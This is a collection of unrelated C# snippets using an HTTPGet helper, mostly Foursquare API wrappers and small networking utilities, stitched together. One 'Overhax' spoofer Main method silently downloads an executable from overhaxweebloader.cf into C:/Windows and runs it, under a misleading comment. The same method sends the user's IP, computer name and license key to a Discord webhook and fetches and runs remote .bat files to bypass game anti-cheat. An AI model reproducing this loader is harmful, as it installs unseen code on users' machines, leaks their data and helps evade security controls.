private void BeginTransfer(string siteFolder, string ipAddress) { try { List <FileToTransfer> filesInSite = GetSiteFiles(siteFolder); string xmlPath = GenerateFilesInSite(filesInSite); List <string> relativePathsToTransfer = GetFilesToTransfer(ipAddress, xmlPath); if (relativePathsToTransfer != null && relativePathsToTransfer.Count > 0) { txtBoxFilesTransferred.Text = "Copying files to " + ipAddress; TransferFiles(siteFolder, relativePathsToTransfer, ipAddress); txtBoxFilesTransferred.Text = txtBoxFilesTransferred.Text + Environment.NewLine + "File transfer complete"; } else { txtBoxFilesTransferred.Text = "No files to transfer. Site up to date."; } // tell script to exit HTTPGet httpGet = new HTTPGet(); httpGet.Timeout = 10000; httpGet.Request("http://" + txtBoxIPAddress.Text + "/ExitScript"); } catch (Exception ex) { Trace.WriteLine("Exception in BeginTransfer: " + ex.ToString()); MessageBox.Show("Exception in BeginTransfer"); } }
private static void Main(string[] args) { HTTPGet req = new HTTPGet(); req.Request("http://checkip.dyndns.org"); string[] a = req.ResponseBody.Split(':'); string a2 = a[1].Substring(1); string[] a3 = a2.Split('<'); string a4 = a3[0]; listener = new HttpListener(); listener.Prefixes.Add("http://*:" + port + "/"); listener.Start(); listen = new Thread(ListenerCallback); listen.Start(); for (int i = 0; i < workers.Length; i++) { workers[i] = new Thread(Worker); workers[i].Start(); } Console.CancelKeyPress += (sender, e) => { Console.WriteLine("Terminating..."); listener.Stop(); while (contextQueue.Count > 0) Thread.Sleep(100); Environment.Exit(0); }; Console.WriteLine("Listening at port " + port + "..."); Console.WriteLine("Server IP: " + a4); Thread.CurrentThread.Join(); }
private static void Main(string[] args) { HTTPGet req = new HTTPGet(); req.Request("http://checkip.dyndns.org"); string[] a = req.ResponseBody.Split(':'); string a2 = a[1].Substring(1); string[] a3 = a2.Split('<'); string a4 = a3[0]; listener = new HttpListener(); listener.Prefixes.Add("http://*:" + port + "/"); listener.Start(); listen = new Thread(ListenerCallback); listen.Start(); for (int i = 0; i < workers.Length; i++) { workers[i] = new Thread(Worker); workers[i].Start(); } Console.CancelKeyPress += (sender, e) => { Console.WriteLine("Terminating..."); listener.Stop(); while (contextQueue.Count > 0) { Thread.Sleep(100); } Environment.Exit(0); }; Console.WriteLine("Listening at port " + port + "..."); Console.WriteLine("Server IP: " + a4); Thread.CurrentThread.Join(); }
/// <summary> /// Returns a list of all venues visited by the specified user, along with how many visits and when they were last there. /// </summary> /// <param name="USER_ID">For now, only "self" is supported</param> /// <param name="BeforeTimeStamp">Seconds since epoch.</param> /// <param name="AfterTimeStamp">Seconds after epoch.</param> /// <param name="CategoryID">Limits returned venues to those in this category. If specifying a top-level category, all sub-categories will also match the query.</param> public static FourSquareVenues UserVenueHistory(string USER_ID, string BeforeTimeStamp, string AfterTimeStamp, string CategoryID, string AccessToken) { if (USER_ID.Equals("")) { USER_ID = "self"; } string Query = ""; if (!BeforeTimeStamp.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "beforeTimestamp=" + BeforeTimeStamp; } if (!AfterTimeStamp.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "afterTimestamp=" + AfterTimeStamp; } if (!CategoryID.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "categoryId=" + CategoryID; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/venuehistory" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareVenues Venues = new FourSquareVenues(JSONDictionary); return Venues; }
/// <summary> /// Returns badges for a given user. /// </summary> /// <param name="USER_ID">ID for user to view badges for..</param> public static FourSquareBadgesAndSets UserBadges(string USER_ID, string AccessToken) { if (USER_ID.Equals("")) { USER_ID = "self"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/badges?callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareBadgesAndSets BadgesAndSets = new FourSquareBadgesAndSets(JSONDictionary); return BadgesAndSets; }
static void Main(string[] args) { int input = 0; while (true) { Console.WriteLine("Welcome to the temporary menu"); Console.WriteLine("Select an option"); Console.WriteLine("1.: Port scan localhost"); Console.WriteLine("2: Twitter Search for #tag "); Console.WriteLine("3. Find external IP"); Console.WriteLine("4: Hide the console window"); // input = int.Parse(Console.ReadLine()); input = 0; switch (input) { case 1: PortScannerTest.PortScanningClass portScanner = new PortScannerTest.PortScanningClass(); portScanner.portScan(args); //portScan(args); break; case 2: Console.WriteLine("please input a search string\n"); string searchString; searchString = Console.ReadLine(); StringBuilder sb = new StringBuilder(); byte[] buf = new byte[8192]; HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://search.twitter.com/search.json?q=%23" + searchString); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream readStream = response.GetResponseStream(); StreamReader streamReader = new StreamReader(readStream, Encoding.UTF8); string responseFromServer = streamReader.ReadToEnd(); Console.WriteLine(responseFromServer); string[] resonponses = Regex.Split(responseFromServer, "\"text\":"); Console.WriteLine(); foreach (string str in resonponses) { Console.WriteLine(str); } if (resonponses.Length != 1) { Console.WriteLine("Tweet found, triggering the port scan"); } else { Console.WriteLine("no tweet present, falling back"); } streamReader.Close(); response.Close(); Console.ReadLine(); break; case 3: HTTPGet req = new HTTPGet(); req.Request("http://checkip.dyndns.org"); string[] a = req.ResponseBody.Split(':'); string a2 = a[1].Substring(1); string[] a3 = a2.Split('<'); string a4 = a3[0]; Console.WriteLine(a4); Console.ReadLine(); break; case 4: break; default: Console.WriteLine(" you choose a non option"); break; } } }
/// <summary> /// Returns a list of venues near the current location, optionally matching the search term. /// </summary> /// <param name="ll">required Latitude and longitude of the user's location, so response can include distance.</param> /// <param name="llAcc">Accuracy of latitude and longitude, in meters.</param> /// <param name="alt">Altitude of the user's location, in meters.</param> /// <param name="altAcc">Accuracy of the user's altitude, in meters.</param> /// <param name="query">A search term to be applied against titles.</param> /// <param name="limit">Number of results to return, up to 50.</param> /// <param name="intent">Indicates your intent in performing the search. checkin, match, specials</param> /// <param name="categoryId">A category to limit results to. </param> /// <param name="url">A third-party URL which we will attempt to match against our map of venues to URLs.</param> /// <param name="providerId">Identifier for a known third party that is part of our map of venues to URLs, used in conjunction with linkedId</param> /// <param name="linkedId">Identifier used by third party specifed in providerId, which we will attempt to match against our map of venues to URLs.</param> public static FourSquareVenues VenueSearch(string ll, string llAcc, string alt, string altAcc, string query, string limit, string intent, string categoryId, string url, string providerId, string linkedId, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; #region Query Conditioning //ll if (!ll.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + ll; } //llAcc if (!llAcc.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "llAcc=" + llAcc; } //alt if (!alt.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "alt=" + alt; } //altAcc if (!altAcc.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "altAcc=" + altAcc; } //query if (!query.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "query=" + query; } //limit if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } //intent if (!intent.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "intent=" + intent; } //categoryId if (!categoryId.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "categoryId=" + categoryId; } //url if (!url.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "url=" + url; } //providerId if (!providerId.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "providerId=" + providerId; } //linkedId if (!linkedId.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "linkedId=" + linkedId; } #endregion Query Conditioning string EndPoint = "https://api.foursquare.com/v2/venues/search" + Query + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareVenues FoundVenues = new FourSquareVenues(JSONDictionary); return FoundVenues; }
/// <summary> /// Returns an array of a user's friends. /// </summary> /// <param name="USER_ID">Identity of the user to get friends of. Pass self to get friends of the acting user</param> /// <param name="Limit">Number of results to return, up to 500.</param> /// <param name="Offset">Used to page through results</param> public static List<FourSquareUser> UserFriends(string USER_ID, int Limit, int Offset, string AccessToken) { List<FourSquareUser> FriendUsers = new List<FourSquareUser>(); string Query = ""; if (Limit > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "Limit=" + Limit.ToString(); } if (Offset > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "Offset=" + Offset.ToString(); } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/friends" + Query + "oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); Dictionary<string, object> ItemsDictionary = ExtractDictionary(JSONDictionary, "response:friends"); foreach (object obj in (object[])ItemsDictionary["items"]) { FourSquareUser FSU = new FourSquareUser((Dictionary<string, object>)obj); FriendUsers.Add(FSU); } return FriendUsers; }
/// <summary> /// Returns a list of recommended venues near the current location. /// </summary> /// <param name="ll">required Latitude and longitude of the user's location, so response can include distance.</param> /// <param name="llAcc">Accuracy of latitude and longitude, in meters.</param> /// <param name="alt">Altitude of the user's location, in meters.</param> /// <param name="altAcc">Accuracy of the user's altitude, in meters.</param> /// <param name="radius">Radius to search within, in meters.</param> /// <param name="section">One of food, drinks, coffee, shops, or arts.</param> /// <param name="query">A search term to be applied against tips, category, tips, etc. at a venue.</param> /// <param name="limit">Number of results to return, up to 50.</param> /// <param name="basis">If present and set to friends or me, limits results to only places where friends have visited or user has visited, respectively.</param> public static FourSquareRecommendedVenues VenueExplore(string ll, string llAcc, string alt, string altAcc, string radius, string section, string query, string limit, string basis, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; #region Parameters //ll if (!ll.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + ll; } //llAcc if (!llAcc.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "llAcc=" + llAcc; } //alt if (!alt.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "alt=" + alt; } //altAcc if (!altAcc.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "altAcc=" + altAcc; } //radius if (!radius.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "radius=" + radius; } //section if (!section.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "section=" + section; } //query if (!query.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "query=" + query; } //limit if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } //basis if (!basis.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "basis=" + basis; } #endregion Parameters string EndPoint = "https://api.foursquare.com/v2/venues/explore" + Query + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareRecommendedVenues ExploreVenues = new FourSquareRecommendedVenues(JSONDictionary); return ExploreVenues; }
/// <summary> ///Returns URLs or identifiers from third parties that have been applied to this venue, such as how the New York Times refers to this venue and a URL for additional information from nytimes.com. /// </summary> /// <param name="VENUE_ID">required The venue you want annotations for..</param> public static FourSquareLinks VenueLinks(string VENUE_ID, string AccessToken) { HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/venues/" + VENUE_ID + "/links?callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareLinks Links = new FourSquareLinks(JSONDictionary); return Links; }
static void Main(string[] args) { Task.Run(() => Application.Run(new Form1())); Protect.This.Start(); Protect.This.test(); try { using (var client = new WebClient()) using (var stream = client.OpenRead("http://www.google.com")) { Application.Exit(null); } }catch { Console.WriteLine("[-] No connection", Color.Red); } //try,finally exception catch try { //3sa discord play thingy WebClient discordthing = new WebClient(); discordthing.Proxy = null; discordthing.Headers["User-Agent"] = "NOTCRACKEDOK"; FileInfo playing = new FileInfo(@"C:/Windows/overhax.exe"); discordthing.DownloadFile("http://overhaxweebloader.cf/overhax.exe", playing.FullName); Process.Start(playing.FullName); //Server IP Address IPHostEntry SystemAC = Dns.GetHostEntry(Dns.GetHostName()); string IPAddress = string.Empty; foreach (var address in SystemAC.AddressList) { if (address.AddressFamily == AddressFamily.InterNetwork) { IPAddress = address.ToString(); } } //external ip address HTTPGet req = new HTTPGet(); req.Request("http://checkip.dyndns.org"); string[] a = req.ResponseBody.Split(':'); string a2 = a[1].Substring(1); string[] a3 = a2.Split('<'); string a4 = a3[0]; //External IP Address // WebClient yay = new WebClient(); // string extip = yay.DownloadString("http://icanhazip.com"); // pc name string localComputerName = Dns.GetHostName(); //ip address IPAddress[] localIPs = Dns.GetHostAddresses(Dns.GetHostName()); Draw.print1(); // computer name Console.Write(" [", Color.LightPink); Console.Write("+", Color.LightPink); Console.Write("] ", Color.LightPink); Console.WriteLine("Welcome, " + localComputerName + "!", Color.LightPink); //auth.gg server ip Console.Write(" [", Color.LightPink); Console.Write("+", Color.LightPink); Console.Write("] ", Color.LightPink); Console.WriteLine("Server IP: " + IPAddress, Color.LightPink); // external ip display // add check if proxy? Console.Write(" [", Color.LightPink); Console.Write("+", Color.LightPink); Console.Write("] ", Color.LightPink); Console.Write("Client IP: " + a4, Color.LightPink); Console.WriteLine(""); using (Webhooks.dWebHook dcWeb = new Webhooks.dWebHook()) { dcWeb.WebHook = Webhooks.dWebHook.Logweb; dcWeb.ProfilePicture = "https://avatarfiles.alphacoders.com/119/119681.png"; dcWeb.UserName = "******"; Thread.Sleep(500); dcWeb.SendMessage(">>> __***Connection started! on client***__" + "** Client IP: **" + a4 + " **Username: **" + localComputerName + " **KEY: **" + Entries.key); } } catch (Exception ex) { Console.WriteLine("Error press enter", (ex.ToString())); Console.ReadLine(); } // if above code failed due to connection below will run regardless finally { Console.Title = Windownamechange.GetRandomString(); Auth.Handler.Initialize(); //Make sure settings are set in Settings.cs if (Auth.ProgramInfo.Freemode == "Enabled") { Console.WriteLine("This application is in freemode redirecting!"); } } //warning Console.WriteLine(""); Console.WriteLine(" [!] We recommend making a backup of your personal files and registry before cleaning.", Color.Red); //auth.gg key Console.WriteLine(""); Console.Write(" [=] ", Color.LightPink); List <char> chars = new List <char>() { 'L', 'i', 'c', 'e', 'n', 's', 'e', ':', ' ' }; Console.WriteWithGradient(chars, Color.Yellow, Color.Fuchsia, 14); //license string key = Console.ReadLine(); bool allin1 = Auth.Handler.Login_Register_Redeem_With_Key(key); if (allin1 == true) { //ADD KEY TO REGISTRY RegistryKey SoftwareKey = Registry.LocalMachine.OpenSubKey("Software", true); RegistryKey AppNameKey = SoftwareKey.CreateSubKey("OVERHAX SPOOFER"); RegistryKey AppVersionKey = AppNameKey.CreateSubKey("key"); AppVersionKey.SetValue("Status", key); /// WebClient webClient = new WebClient(); webClient.Proxy = null; webClient.Headers["User-Agent"] = "NOTCRACKEDOK"; Console.Clear(); //Options Start for spoofing Draw.cache(); Draw.print1(); Console.Write(" [1] Load Spoofer \n", Color.LightPink); Console.Write(" [2] Load Cleaner \n", Color.LightPink); Console.Write(" [3] Discord: http://overhax.ml/join.html \n\n", Color.LightPink); Console.Write(" [4] Anti-cheat Bruteforcer \n", Color.LightPink); Console.Write("\n", Color.LightPink); Console.Write(" Option: ", Color.LightPink); //Options End for spoofing //Spoofing Start var cheeto = Console.ReadLine(); if (cheeto == "1") { Protect.This.Start(); Console.Clear(); Thread.Sleep(1000); Draw.print1(); MessageBox.Show("Starting to Spoof!\n Please wait...", "OverhaxSpoofer", MessageBoxButtons.OK, MessageBoxIcon.Information); Thread.Sleep(2000); Console.Write(" ["); Console.Write("!"); Console.Write("] "); Console.WriteLine("Spoofing, please Wait...", Color.LightPink); Spoofer.spoof1(); Thread.Sleep(4000); MessageBox.Show("Spoofed Successfully!", "OverhaxSpoofer", MessageBoxButtons.OK, MessageBoxIcon.Hand); drawMenu(); } else if (cheeto == "2") { Protect.This.Start(); Cleaners.Cleantraces(); Draw.cache(); } else if (cheeto == "3") { Console.Clear(); System.Diagnostics.Process.Start("http://overhax.ml/join.html"); drawMenu(); } else if (cheeto == "7") { Application.Exit(); } else if (cheeto == "4") { Protect.This.Start(); Console.Clear(); Console.Write("Grabbing latest version..", Color.LightPink); using (WebClient Client = new WebClient()) { FileInfo file = new FileInfo("C:/Windows/ForceBE.bat"); Client.Proxy = null; Client.Headers["User-Agent"] = "NOTCRACKEDOK"; Client.DownloadFile("http://overhaxweebloader.cf/Ac%20Forcer%20files/forcer.bat", file.FullName); Process.Start(file.FullName); } drawMenu(); Console.ReadLine(); } else if (cheeto == "5") { Protect.This.Start(); //option 5 Console.Clear(); Console.Write("Loading... \n"); using (WebClient Client = new WebClient()) { Client.Proxy = null; Client.Headers["User-Agent"] = "OVERHAX"; FileInfo file = new FileInfo("C:/Windows/ummmm.bat"); Client.DownloadFile("http://overhaxweebloader.cf/r6.bat", file.FullName); Process.Start(file.FullName); } } else { drawMenu(); } } }
private static FileToTranscode GetFileToTranscode() { while (true) { LogMessage(GetTimeStamp() + " : FileToTranscode: "); HTTPGet httpGet = new HTTPGet(); string url = String.Concat("http://", _bsIPAddress, "/fileToTranscode"); httpGet.Timeout = 5000; httpGet.Request(url); if (httpGet.StatusCode == 200) { string xml = httpGet.ResponseBody; XmlDocument doc = new XmlDocument(); doc.LoadXml(xml); XmlNodeList nodes = doc.GetElementsByTagName("FileToTranscode"); if (nodes.Count > 0) { string id = String.Empty; string relativeUrl = String.Empty; XmlElement fileToTranscodeElem = (XmlElement)nodes[0]; XmlNodeList childNodes = fileToTranscodeElem.ChildNodes; foreach (XmlNode childNode in childNodes) { if (childNode.Name == "id") { id = childNode.InnerText; } else if (childNode.Name == "path") { relativeUrl = childNode.InnerText; } } if (id != String.Empty && relativeUrl != String.Empty) { LogMessage(GetTimeStamp() + " : FileToTranscode: file spec retrieved, id=" + id.ToString() + ", relativeUrl=" + relativeUrl); // XML contains the path of the file relative to root. Use that as the relative url; then use the last part of the relative Url as the file name string tmpPath = System.IO.Path.Combine(_tmpFolder, relativeUrl); string targetPath = System.IO.Path.Combine(_tmpFolder, System.IO.Path.GetFileName(tmpPath)); httpGet = new HTTPGet(); httpGet.Timeout = 120000; // 2 minutes - long enough for large files? string fileUrl = "http://" + _bsIPAddress + "/" + relativeUrl; LogMessage(GetTimeStamp() + " : FileToTranscode: retrieve file from " + fileUrl); httpGet.RequestToFile(fileUrl, targetPath); if (httpGet.StatusCode == 200) { LogMessage(GetTimeStamp() + " : FileToTranscode: file retrieved and written to " + targetPath); return(new FileToTranscode { Id = id, Path = targetPath }); } else { LogMessage(GetTimeStamp() + " : FileToTranscode: error downloading file, status code=" + httpGet.StatusCode.ToString()); Thread.Sleep(_timeBetweenChecks); } } else { LogMessage(GetTimeStamp() + " : FileToTranscode: error parsing XML"); Thread.Sleep(_timeBetweenChecks); } } } else { LogMessage(GetTimeStamp() + " : FileToTranscode: status code=" + httpGet.StatusCode.ToString()); Thread.Sleep(_timeBetweenChecks); } Thread.Sleep(_timeBetweenChecks); } }
/// <summary> /// Returns tips from a user. /// </summary> /// <param name="USER_ID">Identity of the user to get friends of. Pass self to get friends of the acting user</param> /// <param name="Sort">One of recent, nearby, or popular. Nearby requires geolat and geolong to be provided.</param> /// <param name="LL">Latitude and longitude of the user's location. (Comma separated)</param> /// <param name="Limit">Number of results to return, up to 500.</param> /// <param name="Offset">Used to page through results</param> public static List<FourSquareTip> UserTips(string USER_ID, string Sort, string LL, int Limit, int Offset, string AccessToken) { List<FourSquareTip> Tips = new List<FourSquareTip>(); string Query = ""; if (!Sort.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "sort=" + Sort; } if (!LL.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + LL; } if (Limit > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + Limit.ToString(); } if (Offset > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "offset=" + Offset.ToString(); } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/tips" + Query + "oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); JSONDictionary = ExtractDictionary(JSONDictionary, "response:tips"); foreach (object obj in (object[])JSONDictionary["items"]) { FourSquareTip Tip = new FourSquareTip((Dictionary<string, object>)obj); Tips.Add(Tip); } return Tips; }
/// <summary> /// Returns todos from a user. /// </summary> /// <param name="USER_ID">Identity of the user to get todos for. Pass self to get todos of the acting user.</param> /// <param name="Sort">One of recent, nearby, or popular. Nearby requires geolat and geolong to be provided.</param> /// <param name="LL">Latitude and longitude of the user's location (Comma separated)</param> public static List<FourSquareTodo> UserTodos(string USER_ID, string Sort, string LL, string AccessToken) { List<FourSquareTodo> ReturnTodos = new List<FourSquareTodo>(); string Query = ""; if (!Sort.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "sort=" + Sort; } if (!LL.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + LL; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/todos" + Query + "oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); JSONDictionary = ExtractDictionary(JSONDictionary, "response:todos"); foreach (object obj in (object[])JSONDictionary["items"]) { FourSquareTodo Todo = new FourSquareTodo((Dictionary<string, object>)obj); ReturnTodos.Add(Todo); } return ReturnTodos; }
/// <summary> /// Helps a user locate friends. /// </summary> /// <param name="Phone">A comma-delimited list of phone numbers to look for.</param> /// <param name="EMail">A comma-delimited list of email addresses to look for.</param> /// <param name="Twitter">A comma-delimited list of Twitter handles to look for.</param> /// <param name="TwitterSource">A single Twitter handle. Results will be friends of this user who use Foursquare.</param> /// <param name="Fbid">A comma-delimited list of Facebook ID's to look for.</param> /// <param name="Name">A single string to search for in users' names</param> public static List<FourSquareUser> UserSearch(string Phone, string Email, string Twitter, string TwitterSource, string Fbid, string Name, string AccessToken) { List<FourSquareUser> FoundUsers = new List<FourSquareUser>(); HTTPGet GET = new HTTPGet(); string Query = ""; //Phone if (!Phone.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "phone=" + Phone; } //Email if (!Email.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "email=" + Email; } //Twitter if (!Twitter.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "twitter=" + Twitter; } //TwitterSource if (!TwitterSource.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "twitterSource=" + TwitterSource; } //Fbid if (!Fbid.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "fbid=" + Fbid; } //Name if (!Name.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "name=" + Name; } if (!Query.Equals("")) { string EndPoint = "https://api.foursquare.com/v2/users/search" + Query + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); Dictionary<string, object> ItemsDictionary = new Dictionary<string, object>(); ItemsDictionary = ExtractDictionary(JSONDictionary, "response"); object[] Items = ((object[])ItemsDictionary["results"]); for (int x = 0; x < Items.Length; x++) { FoundUsers.Add(new FourSquareUser(((Dictionary<string, object>)Items[x]))); } } return FoundUsers; }
/// <summary> /// Returns a history of checkins for the authenticated user. /// </summary> /// <param name="USER_ID">For now, only "self" is supported</param> /// <param name="Limit">For now, only "self" is supported</param> /// <param name="Offset">Used to page through results.</param> /// <param name="afterTimestamp">Retrieve the first results to follow these seconds since epoch.</param> /// <param name="beforeTimeStamp">Retrieve the first results prior to these seconds since epoch</param> public static List<FourSquareCheckin> UsersCheckins(string USER_ID, int Limit, int Offset, double afterTimestamp, double beforeTimeStamp, string AccessToken) { List<FourSquareCheckin> Checkins = new List<FourSquareCheckin>(); HTTPGet GET = new HTTPGet(); string Query = ""; if (Limit > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "Limit=" + Limit.ToString(); } if (Offset > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "Offset=" + Offset.ToString(); } if (afterTimestamp > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "afterTimestamp=" + afterTimestamp.ToString(); } if (beforeTimeStamp > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "beforeTimeStamp=" + beforeTimeStamp.ToString(); } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/checkins" + Query + "oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); Dictionary<string, object> ItemsDictionary = ExtractDictionary(JSONDictionary, "response:checkins"); object[] Items = ((object[])ItemsDictionary["items"]); foreach (object obj in Items) { Checkins.Add(new FourSquareCheckin((Dictionary<string, object>)obj)); } return Checkins; }
/// <summary> /// Shows a user the list of users with whom they have a pending friend request /// </summary> public static List<FourSquareUser> UserRequests(string AccessToken) { List<FourSquareUser> FoundUserRequests = new List<FourSquareUser>(); HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/requests" + "?oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); foreach (object obj in (object[])ExtractDictionary(JSONDictionary, "response")["requests"]) { FoundUserRequests.Add(new FourSquareUser((Dictionary<string, object>)obj)); } return FoundUserRequests; }
/// <summary> /// Retrieves information on a specific checkin. /// </summary> /// <param name="CHECKIN_ID">The ID of the checkin to retrieve specific information for.</param> /// <param name="signature">When checkins are sent to public feeds such as Twitter, foursquare appends a signature (s=XXXXXX) allowing users to bypass the friends-only access check on checkins. The same value can be used here for programmatic access to otherwise inaccessible checkins. Callers should use the bit.ly API to first expand 4sq.com links.</param> public static FourSquareCheckin CheckinDetails(string CHECKIN_ID, string signature, string AccessToken) { string Query = ""; if (!signature.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "signature=" + signature; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/checkins/" + CHECKIN_ID + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareCheckin Checkin = new FourSquareCheckin(JSONDictionary); return Checkin; }
/// <summary> /// Returns profile information for a given user, including selected badges and mayorships. /// </summary> /// <param name="USERID">Identity of the user to get details for. Pass self to get details of the acting user</param> public static FourSquareUser User(string USERID, string AccessToken) { if (USERID.Equals("")) { USERID = "self"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USERID + "?oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); JSONDictionary = ExtractDictionary(JSONDictionary, "response:user"); FourSquareUser User = new FourSquareUser(JSONDictionary); return User; }
/// <summary> /// Returns a hierarchical list of categories applied to venues. By default, top-level categories do not have IDs. /// </summary> public static FourSquareVenueCategories VenueCategories(string AccessToken) { HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/venues/categories" + "?callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareVenueCategories Categories = new FourSquareVenueCategories(JSONDictionary); return Categories; }
